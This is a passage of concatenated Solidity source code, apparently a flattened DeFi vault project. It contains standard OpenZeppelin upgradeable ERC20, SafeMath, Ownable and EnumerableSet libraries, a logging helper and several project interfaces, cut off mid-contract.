function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20Upgradeable.sol";
import "../../math/SafeMathUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../GSN/ContextUpgradeable.sol";
import "./IERC20Upgradeable.sol";
import "../../math/SafeMathUpgradeable.sol";
import "../../proxy/Initializable.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable {
using SafeMathUpgradeable for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[44] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../GSN/ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library MathUpgradeable {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface IDebtor {
// Debtor should implement accounting at `withdrawAsCreditor()` and `askToInvestAsCreditor()`
function withdrawAsCreditor(uint256 _amount) external returns (uint256);
function askToInvestAsCreditor(uint256 _amount) external returns (uint256);
function baseAssetBalanceOf(
address _address
) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface ICreditor {
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface ISwap {
function swapExactTokenIn(address tokenIn, address tokenOut, uint256 amountIn, uint256 minAmountOut) external payable returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface ISelfCompoundingYield {
function baseAsset() external view returns (address);
function deposit(uint256 baseAmount) external;
function withdraw(uint256 shareAmount) external;
function shareToBaseAsset(uint256 share) external view returns (uint256);
function baseAssetToShare(uint256 baseAmount) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface ITimelockRegistryUpgradeable {
function effectiveTimelock() external view returns (uint256);
function isIVActiveGlobal(address iv) external view returns (bool);
function isIVActiveForVault(address vault, address iv) external view returns (bool);
function isIVInsuredByInsuranceVault(address vault, address iv) external view returns (bool);
function vaultTimelockEnabled(address vault) external view returns(bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.24;
// https://docs.synthetix.io/contracts/source/interfaces/istakingrewards
interface IStakingMultiRewards {
function totalSupply() external view returns(uint256);
function lastTimeRewardApplicable(address targetYield) external view returns (uint256) ;
function rewardPerToken(address targetYield) external view returns (uint256);
function earned(address targetYield, address account) external view returns(uint256);
function setRewardDistribution(address[] calldata _rewardDistributions, bool _flag) external;
function notifyTargetRewardAmount(address targetYield, uint256 reward) external;
function updateAllRewards(address targetAccount) external;
function updateReward(address targetYield, address targetAccount) external;
function getAllRewards() external;
function getAllRewardsFor(address user) external;
function getReward(address targetYield) external;
function getRewardFor(address user, address targetYield) external;
function addReward(address targetYield, uint256 duration, bool isSelfCompoundingYield) external;
function removeReward(address targetYield) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "../utilities/UnstructuredStorageWithTimelock.sol";
import "../StorageV1Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
contract StorageV1ConsumerUpgradeable is Initializable {
using UnstructuredStorageWithTimelock for bytes32;
// bytes32(uint256(keccak256("eip1967.proxy.storage")) - 1
bytes32 private constant _STORAGE_SLOT =
0x23bdfa8033717db08b14621917cfe422b93b161b8e3ef1c873d2197616ec0bb2;
modifier onlyGovernance() {
require(
msg.sender == governance(),
"StorageV1ConsumerUpgradeable: Only governance"
);
_;
}
modifier adminPriviledged() {
require(msg.sender == governance() ||
isAdmin(msg.sender),
"StorageV1ConsumerUpgradeable: not governance or admin");
_;
}
modifier opsPriviledged() {
require(msg.sender == governance() ||
isAdmin(msg.sender) ||
isOperator(msg.sender),
"StorageV1ConsumerUpgradeable: not governance or admin or operator");
_;
}
function initialize(address _store) public virtual initializer {
address curStorage = (_STORAGE_SLOT).fetchAddress();
require(
curStorage == address(0),
"StorageV1ConsumerUpgradeable: Initialized"
);
(_STORAGE_SLOT).setAddress(_store);
}
function store() public view returns (address) {
